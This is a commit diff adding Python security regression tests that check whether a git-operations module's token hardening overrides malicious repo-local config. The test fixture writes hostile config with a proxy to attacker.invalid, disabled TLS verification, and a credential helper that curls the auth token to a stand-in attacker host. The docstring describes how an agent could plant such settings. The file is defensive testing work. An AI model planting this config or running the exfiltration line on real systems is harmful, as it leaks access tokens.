chore: import upstream snapshot with attribution

2026-07-13 12:22:59 +08:00
commit 069dc98253
5392 changed files with 1751174 additions and 0 deletions
@@ -0,0 +1,117 @@
+"""Security regression tests for `robomp.git_ops` PAT-bearing hardening."""
+
+from __future__ import annotations
+
+import os
+import subprocess
+from pathlib import Path
+
+from robomp.git_ops import _TOKEN_SAFE_CONFIG, _token_url_safe_config
+
+_AUTH_URL = "https://github.com/octo/widget.git"
+
+
+def _token_config_args(auth_url: str) -> list[str]:
+    """The exact `-c` set `_run_git` applies to a token-bearing invocation."""
+    args: list[str] = []
+    for item in (*_TOKEN_SAFE_CONFIG, *_token_url_safe_config(auth_url)):
+        args += ["-c", item]
+    return args
+
+
+def _effective(repo_dir: Path, key: str, request_url: str) -> str:
+    # Mirror `_run_git`: ignore system/global config so only the
+    # (agent-writable) repo-local `.git/config` competes with our `-c` set.
+    env = {
+        **os.environ,
+        "GIT_CONFIG_NOSYSTEM": "1",
+        "GIT_CONFIG_SYSTEM": "/dev/null",
+        "GIT_CONFIG_GLOBAL": "/dev/null",
+    }
+    proc = subprocess.run(
+        ["git", "-C", str(repo_dir), *_token_config_args(_AUTH_URL), "config", "--get-urlmatch", key, request_url],
+        capture_output=True,
+        text=True,
+        check=False,
+        env=env,
+    )
+    return proc.stdout.strip()
+
+
+def test_token_hardening_neutralizes_path_specific_http_mitm(tmp_path: Path) -> None:
+    """A request-path-specific repo-local `http.<url>/info/refs.*` MUST NOT
+    out-specify our override set.
+
+    git matches `http.<url>.*` / `credential.<url>.*` against the full request
+    URL and the longest path-prefix wins, so an agent with group write to the
+    shared pool config could plant `http.<auth_url>/info/refs.proxy=http://evil`
+    + `credential.<…>.helper=!cmd` to route the token-bearing fetch through an
+    attacker proxy (or run a helper) and read the injected Authorization header.
+    The per-request-path override set must drive `proxy` (empty), `sslVerify`
+    (true), and `credential.helper` (empty) back to safe values for every git
+    smart-HTTP endpoint. CA paths are intentionally left at the system default
+    (see `_token_url_safe_config`); with the proxy neutralized an attacker CA is
+    DoS-only, and blanking it would break real TLS.
+    """
+    repo = tmp_path / "pool"
+    subprocess.run(["git", "init", "-q", str(repo)], check=True)
+    cfg = repo / ".git" / "config"
+    cfg.write_text(
+        cfg.read_text(encoding="utf-8")
+        + (
+            f'[http "{_AUTH_URL}/info/refs"]\n'
+            "\tproxy = http://attacker.invalid:8080\n"
+            "\tsslVerify = false\n"
+            "\tsslCAInfo = /tmp/attacker.pem\n"
+            "\tsslCAPath = /tmp/attacker-castore\n"
+            f'[http "{_AUTH_URL}/git-upload-pack"]\n'
+            "\tproxy = http://attacker.invalid:8080\n"
+            f'[http "{_AUTH_URL}/git-receive-pack"]\n'
+            "\tproxy = http://attacker.invalid:8080\n"
+            f'[credential "{_AUTH_URL}/info/refs"]\n'
+            "\thelper = !sh -c 'curl attacker.invalid?$ROBOMP_GIT_HTTP_AUTH'\n"
+        ),
+        encoding="utf-8",
+    )
+    for request_url in (
+        _AUTH_URL,
+        f"{_AUTH_URL}/info",
+        f"{_AUTH_URL}/info/refs",
+        f"{_AUTH_URL}/git-upload-pack",
+        f"{_AUTH_URL}/git-receive-pack",
+    ):
+        assert _effective(repo, "http.proxy", request_url) == "", request_url
+        assert _effective(repo, "http.sslVerify", request_url) == "true", request_url
+        assert _effective(repo, "credential.helper", request_url) == "", request_url
+
+
+def test_token_url_safe_config_is_empty_without_auth_url() -> None:
+    assert _token_url_safe_config(None) == []
+
+
+def test_token_url_safe_config_covers_smart_http_paths() -> None:
+    items = set(_token_url_safe_config(_AUTH_URL))
+    # Every reachable git smart-HTTP request path must blank proxy + credential
+    # helper and force sslVerify=true — `--get-urlmatch` returns "" for an
+    # *absent* key too, so the effective-value test alone can't prove the set
+    # is complete; assert membership explicitly.
+    for suffix in ("", "/info", "/info/refs", "/git-upload-pack", "/git-receive-pack"):
+        scoped = f"{_AUTH_URL}{suffix}"
+        assert f"http.{scoped}.proxy=" in items, scoped
+        assert f"http.{scoped}.sslVerify=true" in items, scoped
+        assert f"credential.{scoped}.helper=" in items, scoped
+    # The base header is blanked (the real one is injected via --config-env),
+    # but path-scoped extraHeader blanks MUST NOT exist or they'd strip auth.
+    assert f"http.{_AUTH_URL}.extraHeader=" in items
+    assert f"http.{_AUTH_URL}/info/refs.extraHeader=" not in items
+
+
+def test_token_config_never_blanks_ca_locations() -> None:
+    """Regression guard: an empty `http.sslCAInfo=`/`sslCAPath=` makes libcurl
+    fail with "error setting certificate verify locations" before any TLS,
+    breaking every real github fetch. Neither the base nor the per-URL set may
+    reintroduce them (proxy-neutralization + forced sslVerify already close the
+    exfil path without touching the CA bundle)."""
+    blob = " ".join((*_TOKEN_SAFE_CONFIG, *_token_url_safe_config(_AUTH_URL))).lower()
+    assert "sslcainfo=" not in blob
+    assert "sslcapath=" not in blob